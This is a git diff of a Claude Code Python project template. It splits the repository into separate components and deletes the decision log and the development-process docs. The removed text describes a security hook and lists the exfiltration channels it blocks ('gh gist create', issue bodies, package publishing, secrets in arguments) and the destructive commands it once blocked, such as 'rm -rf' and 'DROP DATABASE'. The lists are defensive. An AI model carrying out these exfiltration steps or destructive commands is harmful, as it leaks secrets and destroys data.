-1. **Firewall** (primary): iptables whitelist in devcontainer blocks all non-approved network domains
-2. **Exfiltration guard** (hook): `dangerous-actions-blocker.sh` (PreToolUse/Bash) blocks exfiltration via trusted channels -- `gh gist create`, `gh issue create --body`, package publishing (`twine`/`npm`/`uv publish`), and secrets as literal command arguments
-
-Additional:
-- **Real-time scanning**: The `security-guidance` plugin runs automatically during code editing, warning about command injection, eval/exec, deserialization, XSS, and unsafe system calls
-- **Secrets handling**: Never commit API keys, tokens, passwords, or private keys -- use environment variables or `.env` files (which are gitignored)
-- **Unsafe operations**: Avoid `eval`, `exec`, unsafe deserialization, `subprocess(shell=True)`, and `yaml.load` without SafeLoader in production code. If required, document the justification in a code comment
-- **Code review**: The code-reviewer agent checks for logic-level security issues (authorization bypass, TOCTOU, data exposure) that static pattern matching cannot catch
-
## Development Commands
- Create virtual environment: `uv venv`
@@ -35,11 +18,6 @@ uv run pyright # Type check
Do not use unnecessary cd like `cd /path/to/cwd && git log`.
-## Devcontainer
-
-- **Dependencies**: Use `uv add `, never `pip install`
-- **System tools**: Add to `.devcontainer/Dockerfile`, do not install at runtime
-
## Code Style
- **Docstrings**: reStructuredText format, PEP 257
@@ -50,3 +28,10 @@ Do not use unnecessary cd like `cd /path/to/cwd && git log`.
## Version Management
All packages maintain synchronized MAJOR.MINOR versions. Patch versions can differ. Check with `python scripts/check_versions.py`.
+
+## Optional Integrations
+
+This template can be composed with:
+- **[pyclaude-forge](https://github.com/stranma/pyclaude-forge)** -- Claude Code workflow (skills, agents, rules, hooks)
+- **[trailofbits/claude-code-devcontainer](https://github.com/trailofbits/claude-code-devcontainer)** -- secure devcontainer with Claude Code
+- **[Egress firewall](https://gist.github.com/stranma/f43d932bedc8335e24404c9784fcf190)** -- iptables whitelist preventing code exfiltration
diff --git a/README.md b/README.md
index c36d054..18eda54 100644
--- a/README.md
+++ b/README.md
@@ -5,269 +5,90 @@
[](LICENSE)
[](https://docs.astral.sh/uv/)
-**An opinionated Python project template that makes Claude Code produce consistent, tested, well-structured code.**
+Opinionated Python project template. Picks uv, ruff, pyright, pytest, hatchling. Optionally composes with external tools for Claude Code workflow and secure devcontainer.
-```
-/sync /design /done /landed
- | | | |
- fetch remote scope detection lint + format verify merge CI
- branch state plan generation tests + coverage deploy check
- dirty files decision check code review branch cleanup
- PR + changelog next phase
-```
-
-This is opinionated by design. It picks uv, ruff, pyright, pytest, and hatchling. It enforces TDD. It runs agents on every PR. It is designed for new Python projects -- not for retrofitting into existing repos. If that's what you want, you're in the right place.
-
-## Who Is This For?
-
-#### Solo developer who knows Python?
-
-You move fast, but you still want tests, type checking, linted code, and proper PRs - why not, it is now almost for free! The template's agents handle the discipline so you can focus on the problem. The devcontainer setup means you can let Claude Code run more autonomously inside a sandbox -- no worrying about it running `rm -rf` on your host machine.
-
-#### Leading a team adopting Claude Code?
-
-Without a shared baseline, every developer has their own CLAUDE.md (or none). This template standardizes how your team uses Claude Code -- same workflow, same quality gates, same security hooks across all projects. The devcontainer with [permission tiers](docs/DEVCONTAINER_PERMISSIONS.md) lets you control how much autonomy Claude Code gets: from per-command approval (Tier 1) to full trust with minimal guardrails (Tier 3).
-
-#### Data scientist or ML engineer?
-
-You know Python and pandas, but software engineering practices (CI/CD, type annotations, code review) feel like overhead. This template adds those practices without you having to learn how to set them up. Claude Code handles the ceremony; you focus on the models.
-
-#### New to Claude Code and still learning Python?
-
-This template is a good way to learn professional practices by doing. It enforces TDD, type checking, linting, and proper git workflow -- things that are hard to pick up from tutorials alone. Claude Code walks you through it, and the agents catch mistakes before they stick. You'll need basic comfort with the terminal and git. If that's new to you, see [Getting Started Guide](docs/GETTING_STARTED.md) for the prerequisites.
-
-## How It Works
-
-Four commands. That's the whole workflow:
-
-```
-/sync Preflight check. Fetches remote, reports branch state, dirty files.
-/design Turns brainstorming into a structured plan. Reads decision log,
- auto-classifies scope, outputs actionable steps.
-/done Ships your work. Auto-detects scope, validates (lint + test + review),
- commits, creates PR, updates docs. One command.
-/landed Post-merge. Verifies CI on master, checks deployments, cleans up
- branches, identifies next phase.
-```
+## Composition
-Real workflows:
+This template is the scaffolding. Three external components plug into it:
```
-Quick fix: /sync -> fix the bug -> /done
-New feature: /sync -> brainstorm with Claude -> /design -> "implement this" -> /done -> /landed
-Multi-phase: /sync -> brainstorm -> /design -> "implement phase 1" -> /done -> /landed -> ... -> /landed
-Exploration: just talk to Claude -- no commands needed
+ claude-code-python-template
+ (project structure)
+ |
+ setup_project.py orchestrates:
+ / | \
+ v v v
+ pyclaude-forge trailofbits/ egress firewall
+ (pip install) claude-code- (gist fetch)
+ devcontainer
+ Installs to Cloned to Fetched to
+ .claude/ .devcontainer/ .devcontainer/
+ - skills - Dockerfile init-firewall.sh
+ - agents - devcontainer.json
+ - rules - post_install.py
+ - hooks - install.sh (devc)
+ - settings.json
```
-You never classify tasks upfront. `/done` auto-detects scope from your branch, diff size, and whether an implementation plan exists -- then picks the right level of ceremony:
+| Component | What it does | Required? |
+|-----------|--------------|-----------|
+| **[pyclaude-forge](https://github.com/stranma/pyclaude-forge)** | Claude Code workflow: `/sync`, `/design`, `/done`, `/landed` skills, 6 agents, 4 review rules, hooks | No |
+| **[trailofbits/claude-code-devcontainer](https://github.com/trailofbits/claude-code-devcontainer)** | Secure sandbox: isolated filesystem, OAuth token forwarding, `devc` CLI | No |
+| **[Egress firewall](https://gist.github.com/stranma/f43d932bedc8335e24404c9784fcf190)** | iptables whitelist preventing code exfiltration to untrusted domains | No |
-| Detected scope | What `/done` does |
-|----------------|-------------------|
-| **Quick** (on main, small diff) | Validate, commit, push, verify CI |
-| **Standard** (feature branch) | Validate, commit, PR, CI, code review, update changelog |
-| **Project** (has plan phases) | All of Standard + acceptance criteria + plan update + handoff note |
+Each is independent. Use all three, any combination, or none.
## Quick Start
-**Prerequisites:** Python 3.11+, [uv](https://docs.astral.sh/uv/getting-started/installation/), [Claude Code](https://docs.anthropic.com/en/docs/claude-code/overview). New to these tools? See [Getting Started Guide](docs/GETTING_STARTED.md).
-
-**1. Create your project**
-
-Click **"Use this template"** on GitHub to create your own repo, then clone it:
+**Prerequisites:** Python 3.11+, [uv](https://docs.astral.sh/uv/getting-started/installation/)
```bash
-git clone https://github.com/YOUR_USERNAME/my-project.git
+# Clone template
+git clone https://github.com/stranma/claude-code-python-template.git my-project
cd my-project
-```
-**2. Run setup**
-
-```bash
-# Simple project (recommended for first use):
-python setup_project.py --name my-tool --namespace my_tool --type single
+# Interactive setup (prompts for everything)
+python setup_project.py
-# Monorepo with multiple packages:
-python setup_project.py --name my-project --namespace my_project --type mono --packages "core,api"
+# Or CLI mode
+python setup_project.py --name my-project --namespace my_project --type single
```
-The setup script replaces `{{project_name}}` placeholders across all files, renames directories to match your namespace, and optionally initializes git. It only modifies files inside the project directory.
-
-**3. Install and verify**
+### With devcontainer + firewall
```bash
-uv sync --all-packages --group dev
-uv run pytest && uv run ruff check . && uv run pyright
+python setup_project.py --name my-project --namespace my_project \
+ --devcontainer trailofbits --egress-firewall
```
-That's it. Claude Code picks up the agents, hooks, and rules automatically.
-
-## Devcontainer Setup (Recommended)
-
-The template includes a full VS Code devcontainer configuration. This is the recommended way to work because it sandboxes Claude Code -- firewall, non-root user, and policy hooks limit what it can do, so you can give it more autonomy without risk to your host machine.
-
-**What the devcontainer provides:**
-
-- **Network firewall** -- all egress blocked except ~10 whitelisted domains (GitHub, PyPI, etc.)
-- **Non-root user** -- Claude Code cannot install system packages or modify system files
-- **Permission tiers** -- control how much autonomy Claude Code gets:
-
-| Tier | Name | Who | Claude Code behavior |
-|------|------|-----|----------------------|
-| 1 | Assisted | New users, compliance teams | Per-command approval |
-| 2 | Autonomous (default) | Most developers | Free to run commands, curated deny list |
-| 3 | Full Trust | Solo devs with strong CI | Minimal restrictions |
-
-- **Policy hooks** -- block dangerous patterns even in chained commands (`cd /tmp && rm -rf *`)
-- **Pre-installed tools** -- Python, uv, ruff, git, Claude Code VS Code extension
-
-Set the tier before building: `PERMISSION_TIER=1` (or 2, 3) in your environment. Default is 2.
-
-See [Devcontainer Permissions](docs/DEVCONTAINER_PERMISSIONS.md) for the full denied commands list and approved alternatives.
-
-## What's Included
-
-### Core (always active)
-
-- **CLAUDE.md** -- compact agent directives (~40 lines) with `/sync`, `/design`, `/done` workflow:
+### With Claude Code workflow
-
-See the full CLAUDE.md
+After setup, install [pyclaude-forge](https://github.com/stranma/pyclaude-forge):
-```markdown
-## Development Process
-
-Use /sync before starting work, /design to formalize a plan, and /done when
-finished. /design estimates scope (Q/S/P) during planning; /done auto-detects
-actual scope at completion based on workspace signals.
-
-## Security
-
-- Real-time scanning: security-guidance plugin warns about unsafe patterns
-- Runtime hooks: 3 base security hooks (+ 1 devcontainer-only policy hook)
-- Secrets handling: Never commit API keys, tokens, passwords, or private keys
-
-## Development Commands
-
-- Create virtual environment: uv venv
-- Install all dependencies: uv sync --all-packages --group dev
-- Use uv run from the repo root for all commands (pytest, ruff, pyright)
-
-## Code Style
-
-- Docstrings: reStructuredText format, PEP 257
-- No special Unicode characters in code or output
-- Use types everywhere possible
+```bash
+pip install pyclaude-forge # or: uv tool install pyclaude-forge
+pyclaude-forge install # installs skills, agents, rules, hooks to .claude/
```
-
-
-- **5 workflow agents** -- code quality, test coverage, PR writing, code review, docs updates
-- **3 security hooks** -- block destructive commands, scan for leaked secrets, catch Unicode injection
-- **CI/CD** -- GitHub Actions for lint + test + typecheck + publish
-- **Tool stack** -- [uv](https://docs.astral.sh/uv/) workspaces, [ruff](https://docs.astral.sh/ruff/), [pyright](https://github.com/microsoft/pyright), [pytest](https://pytest.org/), [hatchling](https://hatch.pypa.io/)
-
-### Optional specialists
-
-
-7 additional agents for larger projects
-
-| Agent | Purpose |
-|-------|---------|
-| `acceptance-criteria-validator` | Verify acceptance criteria across phases |
-| `implementation-tracker` | Keep plan and reality in sync |
-| `review-responder` | Automated review triage |
-| `agent-auditor` | Audit agent definitions for best practices |
-| `security-auditor` | OWASP-based vulnerability detection (read-only) |
-| `refactoring-specialist` | SOLID/code smell analysis (read-only) |
-| `output-evaluator` | LLM-as-Judge quality scoring |
-
-
-
-
-2 productivity hooks
-
-- **auto-format** -- auto-formats Python files after edits
-- **test-on-change** -- auto-runs associated tests after edits
-
-
-
-
-Commands and skills
-
-- `/sync` -- preflight workspace check before starting work
-- `/design` -- crystallize brainstorming into a structured plan
-- `/done` -- validate, ship, and document in one command
-- `/landed` -- post-merge lifecycle: verify CI, check deploys, clean branches
-- `/cove` -- Chain-of-Verification for high-stakes accuracy (4-step self-verification)
-- `/cove-isolated` -- CoVe with isolated verification agent (prevents confirmation bias)
-- `/security-audit` -- 6-phase security posture scan with A-F grading
-- `/edit-permissions` -- manage Claude Code permission rules
-
-
-
-
-4 review rules
-
-Architecture, code quality, performance, and test quality -- applied automatically during code review.
-
-
-
-## Understanding the Template
-
-Want to know why each hook, agent, and config file exists -- and what breaks if you remove it? See the [Architecture Deep Dive](docs/ARCHITECTURE_GUIDE.md).
-
-## Project Structure
+## Project Types
### Monorepo (default)
```
my-project/
-├── CLAUDE.md # Agent directives (~40 lines)
-├── apps/ # Executable applications
-│ └── api/
-│ ├── pyproject.toml
-│ └── my_project/api/
-├── libs/ # Reusable libraries
-│ └── core/
-│ ├── pyproject.toml
-│ └── my_project/core/
-├── tests/
-├── docs/
-│ ├── CHANGELOG.md
-│ ├── DECISIONS.md
-│ ├── DEVELOPMENT_PROCESS.md
-│ └── IMPLEMENTATION_PLAN.md
-├── .claude/ # Claude Code config
-│ ├── settings.json
-│ ├── agents/ # 12 agents
-│ ├── skills/ # /sync, /design, /done, /landed, /edit-permissions
-│ ├── commands/ # /cove, /cove-isolated, /security-audit
-│ ├── hooks/ # 5 hook scripts
-│ └── rules/ # 4 review rules
-├── .devcontainer/ # VS Code devcontainer
-│ ├── Dockerfile
-│ ├── devcontainer.json
-│ ├── init-firewall.sh
-│ └── permissions/ # Tier 1/2/3 configs
-├── .github/
-│ ├── workflows/ # CI/CD
-│ ├── PULL_REQUEST_TEMPLATE.md
-│ └── ISSUE_TEMPLATE/
-└── pyproject.toml # Root workspace config
+ apps/server/ # Applications
+ libs/core/ # Libraries
+ tests/
+ pyproject.toml # uv workspace root
```
-### Single Package
+### Single package
```
my-tool/
-├── CLAUDE.md
-├── src/my_tool/
-├── tests/
-├── docs/
-├── .claude/
-├── .devcontainer/
-├── .github/
-└── pyproject.toml
+ src/my_tool/
+ tests/
+ pyproject.toml
```
## Setup Script Options
@@ -276,45 +97,39 @@ my-tool/
|------|---------|-------------|
| `--name` | (required) | Project name (e.g., `my-project`) |
| `--namespace` | from name | Python namespace (e.g., `my_project`) |
-| `--description` | "A Python project" | Short description |
-| `--author` | "" | Author name |
-| `--email` | "" | Author email |
-| `--python-version` | "3.11" | Python version requirement |
-| `--base-branch` | "master" | Git base branch |
-| `--type` | "mono" | `mono` or `single` |
-| `--packages` | "core,server" | Comma-separated package names (mono only) |
+| `--type` | `mono` | `mono` or `single` |
+| `--packages` | `core,server` | Package names, comma-separated (mono only) |
+| `--services` | `none` | Docker Compose services: `none`, `postgres`, `postgres-redis`, `custom` |
+| `--devcontainer` | `none` | `none` or `trailofbits` |
+| `--egress-firewall` | false | Fetch egress firewall into `.devcontainer/` |
+| `--python-version` | `3.11` | Python version |
+| `--base-branch` | `master` | Git base branch |
| `--git-init` | false | Init git + initial commit |
-Package naming: by default, the first package is a library (in `libs/`), the rest are applications (in `apps/`). Use prefixes to control placement: `--packages "lib:models,lib:utils,app:api,app:worker"`.
-
-## Token Costs
+Package prefixes control placement: `--packages "lib:models,lib:utils,app:api,app:worker"`.
-The agents use Claude sub-agents to validate code, run reviews, and write PR descriptions. This adds token usage beyond a bare Claude Code session. Here's what drives costs:
-
-**Runs on every `/done`** (most frequent):
-- `code-quality-validator` (Haiku) -- lint, format, type check
-- `test-coverage-validator` (Sonnet) -- run tests, check coverage
+## Development Commands
-**Runs once per PR** (Standard and Project scope only):
-- `pr-writer` (Sonnet) -- generate PR description
-- `code-reviewer` (Sonnet) -- independent code review
-- `docs-updater` (Sonnet) -- update changelog and decision log
+```bash
+uv sync --all-packages --group dev # Install dependencies
+uv run pytest # Run tests
+uv run ruff check . # Lint
+uv run ruff format . # Format
+uv run pyright # Type check
+```
-**Runs only when you invoke them** (optional specialists):
-- `security-auditor`, `refactoring-specialist`, `output-evaluator`, etc.
+## CI/CD Workflows
-The cost depends on your diff size and model pricing. For most PRs, the sub-agent overhead is small relative to the main session cost. We believe this trade-off is worth it -- developer time spent on manual review, PR writing, and re-running forgotten tests is far more expensive than tokens.
+| Workflow | Trigger | Purpose |
+|----------|---------|---------|
+| `tests.yml` | Push, PRs | Lint + test + typecheck (per-package) |
+| `template-integration.yml` | Push, PRs | Validates `setup_project.py` across 5 configs |
+| `publish.yml` | Release | Publish packages to PyPI |
+| `template-sync.yml` | Weekly | Sync workflow/script updates from upstream |
## Credits
-Monorepo structure inspired by [carderne/postmodern-mono](https://github.com/carderne/postmodern-mono), which demonstrates excellent uv workspace patterns. Key differences:
-
-- Direct `uv run` commands instead of Poe the Poet
-- Standard pyright instead of basedpyright
-- Claude Code methodology layer (CLAUDE.md, agents, skills, hooks)
-- Setup script for template initialization
-
-Chain-of-Verification commands and template sync workflow inspired by [serpro69/claude-starter-kit](https://github.com/serpro69/claude-starter-kit), a language-agnostic Claude Code starter template with MCP server integrations. Python SOLID checklist items in the refactoring-specialist agent also draw from their structured code review approach.
+Monorepo structure inspired by [carderne/postmodern-mono](https://github.com/carderne/postmodern-mono). Template sync workflow inspired by [serpro69/claude-starter-kit](https://github.com/serpro69/claude-starter-kit).
## License
diff --git a/docs/CHANGELOG.md b/docs/CHANGELOG.md
index 962fa42..1c4b6fe 100644
--- a/docs/CHANGELOG.md
+++ b/docs/CHANGELOG.md
@@ -8,26 +8,18 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
## [Unreleased]
### Changed
-- Security model simplified to 2-layer exfiltration defense: iptables firewall (primary) blocks non-approved network domains; `dangerous-actions-blocker.sh` (narrowed) blocks exfiltration via trusted channels (gh gist, gh issue --body, package publishing, secrets in args) -- local destruction (rm -rf, sudo, etc.) is no longer blocked since devcontainer is disposable
-- CLAUDE.md Security section rewritten to describe the 2-layer defense model instead of listing individual hooks
-- Devcontainer simplified: permission tiers removed, single settings.json baseline for all environments
+- Repository split into 3 independent repos: template (this), [pyclaude-forge](https://github.com/stranma/pyclaude-forge) (workflow), [claude-code-devcontainer](https://github.com/stranma/claude-code-devcontainer) (deprecated, use Trail of Bits)
+- `setup_project.py` gains `--devcontainer trailofbits` and `--egress-firewall` options to compose external components
+- README rewritten with composition diagram showing how the 3 external pieces plug in
+- GETTING_STARTED.md updated for the split architecture
+- `template-sync.yml` paths reduced to `.github/workflows/` and `scripts/` only
### Removed
-- Permission tier system (`.devcontainer/permissions/tier1-assisted.json`, `tier2-autonomous.json`, `tier3-full-trust.json`) and `PERMISSION_TIER` env var -- single settings.json baseline replaces graduated tiers
-- `devcontainer-policy-blocker.sh` hook -- tier-dependent policy enforcement no longer needed
-- `output-secrets-scanner.sh` hook -- conversation leaks to Anthropic are accepted risk
-- `unicode-injection-scanner.sh` hook -- exotic threat with low practical risk
-- `test-on-change.sh` hook -- informational-only hook that added latency without preventing issues
-- All slash commands (`/cove`, `/cove-isolated`, `/security-audit`) -- niche utilities that added complexity without proportional value
-- 6 agents: `agent-auditor`, `security-auditor`, `output-evaluator`, `acceptance-criteria-validator`, `implementation-tracker`, `refactoring-specialist` -- pruned to the 6 agents directly used by the QSP workflow
-- `/edit-permissions` skill -- permission tier system removed
-- `docs/ARCHITECTURE_GUIDE.md`, `docs/DEVCONTAINER_PERMISSIONS.md`, `docs/community/` -- supporting docs for removed features
-- Local destruction patterns from `dangerous-actions-blocker.sh` (`rm -rf`, `sudo`, `DROP DATABASE`, `git push --force`, etc.) -- devcontainer is disposable, these blocks added friction without security value
-
-### Added
-- Architecture Deep Dive guide (`docs/ARCHITECTURE_GUIDE.md`) explains why each component exists, what it does under the hood, and what happens if you remove or modify it -- covers all hooks, agents, skills, rules, configuration files, devcontainer layers, and CI/CD workflows with a defense-in-depth diagram and customization guide
-- `/landed` skill for post-merge lifecycle -- verifies merge CI, optionally checks deployments (via `.claude/deploy.json`), cleans up feature branches, and identifies the next phase for P-scope work
-- `.claude/deploy.json.example` template for configuring deployment verification in `/landed`
+- All `.claude/` content (moved to [pyclaude-forge](https://github.com/stranma/pyclaude-forge))
+- All `.devcontainer/` content (use [trailofbits/claude-code-devcontainer](https://github.com/trailofbits/claude-code-devcontainer) instead)
+- Permission tiers, security hooks, policy enforcement -- dropped from scope
+- Stale docs: PDF artifacts, IMPLEMENTATION_PLAN.md stub, .dockerignore
+- Broken doc references: ARCHITECTURE_GUIDE.md, DEVCONTAINER_PERMISSIONS.md
- Chain-of-Verification (CoVe) commands (`/cove`, `/cove-isolated`) for high-stakes accuracy -- 4-step self-verification process based on Meta's CoVe paper, with an isolated variant that runs verification in a separate agent to prevent confirmation bias
- Template sync workflow (`.github/workflows/template-sync.yml`) for downstream projects to auto-sync upstream template improvements -- runs weekly or on manual trigger, creates PRs with changed template-managed files while preserving project-specific code
- Python-specific SOLID checklist in `refactoring-specialist` agent -- checks for mutable default arguments, ABC/Protocol misuse, missing dependency injection, god classes, `@property` overuse, and circular imports
diff --git a/docs/DECISIONS.md b/docs/DECISIONS.md
deleted file mode 100644
index 702b4cb..0000000
--- a/docs/DECISIONS.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# Decision Log
-
-Running log of feature requests and user decisions. Append new entries during Standard and Project paths. Consistency-checked and pruned during Project analysis (P.1). Quick-path tasks are exempt.
-
-When a decision is superseded or obsolete, delete it (git history preserves the record).
-
----
-
-## 2026-02-14: Fix 5 Template Bugs
-
-**Request**: Fix critical setup script bugs preventing correct package customization and workspace builds.
-
-**Decisions**:
-- Use `-name` pattern for package name replacements instead of bare name replacement (avoids false substring matches like "core" in "pyproject")
-
-## 2026-02-24: CLAUDE.md Three-Path Restructuring
-
-**Request**: Replace monolithic Phase Completion Checklist with complexity-aware development process.
-
-**Decisions**:
-- Three paths: Quick (trivial), Standard (one-session), Project (multi-phase) -- task complexity determines process depth
-- Acceptance criteria and implementation tracking agents moved to Project-only -- Standard tasks don't need them
-- Shell Command Style and Allowed Operations sections removed -- redundant with settings.json
-- "PCC now" shorthand preserved -- triggers S.5 Validate + S.6 Ship + S.7 Document
-
-## 2026-02-24: Devcontainer Setup
-
-**Request**: Add `.devcontainer/` with Claude Code CLI and network firewall.
-
-**Decisions**:
-- Python base image (`python:{{python_version}}-bookworm`) with Claude Code native binary installer -- not Node base image, since this is a Python project
-- `vscode` user (UID 1000) with restricted sudoers (firewall-only) instead of `NOPASSWD:ALL` -- follows principle of least privilege
-- No docker-compose.yml by default (simple build) -- compose only generated when user selects a services profile during setup
-
-## 2026-02-26: Trim CLAUDE.md Based on "Evaluating AGENTS.md" Paper
-
-**Request**: Reduce CLAUDE.md size based on findings from ETH Zurich paper (Feb 2026) showing that large context files reduce agent task success rates by ~3% and increase cost by 20%+.
-
-**Decisions**:
-- Keep only non-discoverable constraints in CLAUDE.md (security rules, dev commands, ASCII requirement, version sync rule) -- agents can read pyproject.toml for discoverable config
-- Move full development process (Q/S/P paths, agent reference, changelog format, PCC shorthand, context recovery rule) to `docs/DEVELOPMENT_PROCESS.md` -- still accessible but not loaded into every context window
-- Remove repository structure and testing sections entirely -- proven unhelpful by the paper, fully discoverable from project files
-- CLAUDE.md must contain a mandatory directive to classify every task as Q/S/P before starting work
-
-## 2026-03-01: Hooks, Commands, Agents, Rules
-
-**Request**: Add hooks, agents, and review rules to bring the template to a comprehensive state.
-
-**Decisions**:
-- Hook scripts in `.claude/hooks/` using `$CLAUDE_PROJECT_DIR` for path resolution -- official Claude Code convention
-- jq required for JSON parsing in hooks with graceful degradation (exit 0 + stderr warning) if missing -- avoids blocking dev work
-- auto-format hook is synchronous (no systemMessage) so Claude sees formatted code
-- Review rules have no `paths:` frontmatter (apply globally) and stay under 80 lines -- loaded into every context window
-- CLAUDE.md kept compact per ETH Zurich paper decision; detailed tables in DEVELOPMENT_PROCESS.md
-
-## 2026-03-02: QSP Enforcement and Pre-flight Sync
-
-**Request**: Fix three process failures: QSP classification ignored until reminded, no git sync before work (caused push rejection), no branch confirmation.
-
-**Decisions**:
-- QSP classification moved to first section in CLAUDE.md -- being last made it easy to skip
-- New "Pre-flight (all paths)" section in DEVELOPMENT_PROCESS.md with mandatory git sync and explicit classification -- applies before Q, S, or P begins
-- Redundant `git fetch` removed from S.3 -- now centralized in pre-flight
-
-## 2026-03-04: Devcontainer Native Installer and Firewall Hardening
-
-**Request**: Port devcontainer fixes from Vizier repository -- migrate Claude Code CLI from npm to native binary installer, enforce LF line endings, and harden the iptables firewall script.
-
-**Decisions**:
-- Native binary installer for Claude Code CLI instead of npm + Node.js 20 -- Node.js added no value to a Python project
-- .gitattributes enforcing LF line endings for shell scripts (`*.sh`), Dockerfiles, and `.devcontainer` files -- CRLF-corrupted shell scripts fail silently on Linux
-- iptables-legacy backend instead of the default nftables -- nftables is unreliable inside Docker due to missing kernel module support
-- iptables pre-check with graceful degradation (log warning, skip firewall) instead of hard exit 1
-- DROP policies added after all ACCEPT rules -- prevents partial-failure lockout
-
-## 2026-03-09: Workflow Skills (/sync, /design, /done)
-
-**Request**: Replace rigid QSP upfront classification with three entry-point skills that auto-detect scope at completion time.
-
-**Decisions**:
-- Three skills (`/sync`, `/design`, `/done`) replace mandatory upfront QSP classification -- scope is now auto-detected by `/done` based on branch, diff size, and plan state
-- `/plan` renamed to `/design` because `/plan` is a built-in Claude Code command (enters read-only plan mode) -- `/design` is distinct and forms a natural arc: sync -> design -> done
-- `/ship` command absorbed into `/done` Phase 2 -- the 3-tier checklist (Blockers/High Priority/Recommended) is preserved in `/done`'s validate phase
-- `/sync` and `/done` have `disable-model-invocation: true` (side effects: git fetch, git commit/push, PR creation); `/design` is intentionally model-invocable so Claude can suggest it during brainstorming
-- QSP paths (Q/S/P) and their step descriptions preserved in DEVELOPMENT_PROCESS.md -- skills orchestrate the paths, they don't replace them
-
-## 2026-03-10: Post-merge /landed Skill
-
-**Request**: Close the post-merge gap in the sync-design-done workflow. After `/done` creates a PR and it merges, nothing verifies merge CI, checks deployments, cleans up branches, or identifies the next phase.
-
-**Decisions**:
-- New `/landed` skill (not command) -- follows same pattern as `/sync` and `/done` with `disable-model-invocation: true`
-- `/catchup` removed -- its context restoration overlaps with `/sync` which already covers pre-flight state
-- Optional deployment verification via `.claude/deploy.json` (gitignored) -- not all projects have deployments, so it's opt-in with an example file
-- Phase detection uses "Quick Status Summary" table in IMPLEMENTATION_PLAN.md, not `- [ ]` checkboxes -- matches actual file structure
-
-## 2026-03-16: WebFetch Firewall Integration
-
-**Request**: Connect the devcontainer iptables firewall to Claude Code's WebFetch permission settings so users don't need to manually edit the firewall script when working with external services.
-
-**Decisions**:
-- Firewall reads `WebFetch(domain:...)` patterns from settings.json and settings.local.json at container startup -- single source of truth for domain whitelisting
-- Only `allow` and `ask` lists are scanned (not `deny`) -- denied domains should never be whitelisted
-- Bare `WebFetch` (no domain qualifier) is ignored -- it grants tool permission but has no domain to resolve
-- Wildcard domains (e.g., `*.example.com`) are skipped with a warning -- DNS cannot resolve wildcard patterns to IPs
-- WebFetch settings changes take effect on container restart (`init-firewall.sh` runs from `postStartCommand`)
-
-## 2026-03-18: Subagent CLAUDE.md Limitation
-
-**Observation**: Spawned subagents (via the Agent tool) do not read CLAUDE.md or project instructions. They only follow what the parent agent includes in the prompt. This means directives like "use `uv run` for all commands" are silently ignored by subagents unless explicitly passed through.
-
-**Decisions**:
-- Known template limitation -- subagents must receive key directives in their spawn prompt
-- Agent `.md` files could include critical directives (e.g., "use `uv run`") but this duplicates CLAUDE.md and creates drift risk
-- For this template repo specifically, `uv run` fails due to `{{project_name}}` placeholders, so `python -m pytest` is the correct fallback
-- No code change for now; document as a known limitation
-
-## 2026-03-18: Security Model Simplification
-
-**Request**: Prune security infrastructure to essentials. Remove permission tiers,
-most hooks, commands, and niche agents. Refocus on exfiltration prevention.
-
-**Decisions**:
-- Two exfiltration channels: network (firewall) and trusted-channel abuse (hook)
-- Firewall is primary defense -- iptables whitelist blocks all non-approved domains
-- dangerous-actions-blocker.sh narrowed to: GitHub API exfil, publishing, secrets in args
-- Local destruction (rm -rf, sudo, etc.) not blocked -- devcontainer is disposable
-- output-secrets-scanner removed -- conversation leaks to Anthropic are accepted
-- Permission tiers removed -- single settings.json baseline for all environments
-- unicode-injection-scanner removed -- exotic threat, low practical risk
diff --git a/docs/DEVELOPMENT_PROCESS.md b/docs/DEVELOPMENT_PROCESS.md
deleted file mode 100644
index 4d210c5..0000000
--- a/docs/DEVELOPMENT_PROCESS.md
+++ /dev/null
@@ -1,200 +0,0 @@
-# Development Process
-
-Detailed development workflow for this repository. Referenced from `CLAUDE.md`.
-
----
-
-## Context Recovery Rule -- CRITICAL
-
-**After auto-compact or session continuation, ALWAYS read the relevant documentation files before continuing work:**
-
-1. Read `docs/IMPLEMENTATION_PLAN.md` for current progress
-2. Read `docs/CHANGELOG.md` for recent changes
-3. Read any package-specific documentation relevant to the task
-
-This ensures continuity and prevents duplicated or missed work.
-
----
-
-## Task Classification
-
-Scope (Q/S/P) is **auto-detected** by `/done` based on branch, diff size, and plan state. Do not classify manually upfront.
-
-| Scope | When detected | Examples |
-|-------|---------------|---------|
-| **Q** (Quick) | On main/master, <=3 files, <100 lines | Typo fix, config tweak, one-liner bug fix |
-| **S** (Standard) | On feature branch, no active plan phases | New feature, multi-file refactor, bug requiring investigation |
-| **P** (Project) | IMPLEMENTATION_PLAN.md has unchecked phases | Multi-phase feature, architectural change, large migration |
-
----
-
-## Pre-flight
-
-Run `/sync` before starting any work. It fetches remote refs, reports branch state, dirty files, ahead/behind counts, and recent commits.
-
----
-
-## Q. Quick Path
-
-1. **Fix it** -- make the change
-2. **Validate** -- run `uv run ruff check . && uv run ruff format --check . && uv run pytest`
-3. **Commit and push** -- push directly to the base branch (`main`/`master`)
-4. **Verify CI** -- run `gh run watch` to confirm the triggered run passes
-
-If branch protection is enabled: after step 2, push to a short-lived branch, run `gh pr create --fill && gh pr checks --watch`, merge, and delete the branch.
-
-If the fix fails twice, reveals unexpected complexity, or CI fails, promote to **S**.
-
----
-
-## S. Standard Path
-
-**S.1 Explore** -- Read relevant code and tests. Identify patterns/utilities to reuse. Understand scope.
-
-**S.2 Plan** -- Read `docs/DECISIONS.md`. Check for conflicts with prior decisions; if a conflict is found, present the contradiction to the user before proceeding. Design approach. Identify files to modify. Log the feature request and any user decisions.
-
-**S.3 Setup** -- Create feature branch from the base branch (`fix/...`, `feat/...`, `refactor/...`).
-
-**S.4 Build (TDD cycle)**
-1. Create code structure (interfaces, types)
-2. Write tests
-3. Write implementation
-4. Write docstrings for public APIs; record non-trivial decisions in `docs/IMPLEMENTATION_PLAN.md`
-5. Iterate (back to step 2 if needed)
-
-**S.5 Validate** -- run both in parallel via agents:
-
-| Agent | File | What it does |
-|-------|------|-------------|
-| Code Quality | `.claude/agents/code-quality-validator.md` | Lint, format, type check (auto-fixes) |
-| Test Coverage | `.claude/agents/test-coverage-validator.md` | Run tests, check coverage |
-
-Pre-commit hygiene (before agents): no leftover `TODO`/`FIXME`/`HACK`, no debug prints, no hardcoded secrets.
-
-All agents use `subagent_type: "general-purpose"`. Do NOT use `feature-dev:code-reviewer`.
-
-**S.6 Ship**
-1. Commit and push
-2. Create PR (use `.claude/agents/pr-writer.md` agent to generate description)
-3. Verify CI with `gh pr checks`
